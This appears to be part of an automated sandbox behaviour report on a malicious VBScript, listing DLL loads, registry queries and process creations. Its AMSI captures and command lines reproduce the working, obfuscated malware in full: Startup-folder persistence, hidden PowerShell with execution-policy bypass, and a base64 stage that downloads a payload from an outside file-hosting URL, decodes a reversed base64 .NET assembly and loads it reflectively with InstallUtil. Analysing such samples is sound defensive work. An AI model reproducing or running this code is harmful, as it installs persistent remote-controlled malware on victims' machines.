Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell")Set FSO = CreateObject("Scripting.FileSystemObject")HgNH = WshShell.CurrentDirectory & "\" & WScript.ScriptNamedyKH = "CJJ.vbs" if true then strStartupFolder = WshShell.SpecialFolders("Startup") strDestFile = strStartupFolder & "\" & dyKH If Not FSO.FileExists(strDestFile) Then FSO.CopyFile HgNH, strDestFile End If OkCZ = ")'sbv." & dyKH & " \putratS\smargorP\uneM tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'" OkCZ = StrReverse(OkCZ) ZKIu = "[System.IO.File]::Copy('" & HgNH & "', 'C:\Users\' + [Environment]::UserName + '" & OkCZ & "')" NWCN = "cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command " & ZKIu WshShell.Run NWCN, 0, trueEnd If On Error Resume Next vnqhv = "JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlZQFOEDIRUYCMKBShZaHRZQFOEDIRUYCMKBS0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lZQFOEDIRUYCMKBSsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEZQFOEDIRUYCMKBSM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIZQFOEDIRUYCMKBSyMDljNj" vnqhv = vnqhv & "JjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTZQFOEDIRUYCMKBSeXN0ZZQFOEDIRUYCMKBSW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzIZQFOEDIRUYCMKBSD0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZQFOEDIRUYCMKBSZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbZQFOEDIRUYCMKBSmcoUGhS" vnqhv = vnqhv & "aW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZQFOEDIRUYCMKBSZYWTtZQFOEDIRUYCMKBSQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5ZQFOEDIRUYCMKBSmWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSWZQFOEDIRUYCMKBS5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJZQFOEDIRUYCMKBSlbmRGbG" vnqhv = vnqhv & "EnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0ZQFOEDIRUYCMKBSYXJ0SZQFOEDIRUYCMKBSW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndZQFOEDIRUYCMKBSGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDZQFOEDIRUYCMKBSb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZZQFOEDIRUYCMKBSyhQaFJz" vnqhv = vnqhv & "dGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWZQFOEDIRUYCMKBSpvaW4ZQFOEDIRUYCMKBSgKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBZQFOEDIRUYCMKBS1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWZQFOEDIRUYCMKBSFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XToZQFOEDIRUYCMKBS6RnJvbU" vnqhv = vnqhv & "Jhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgZQFOEDIRUYCMKBSPSBbUZQFOEDIRUYCMKBS3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKZQFOEDIRUYCMKBSFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpZQFOEDIRUYCMKBSO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQZQFOEDIRUYCMKBSChmWFl0" vnqhv = vnqhv & "eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmZQFOEDIRUYCMKBSFk

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"	Jump to behavior

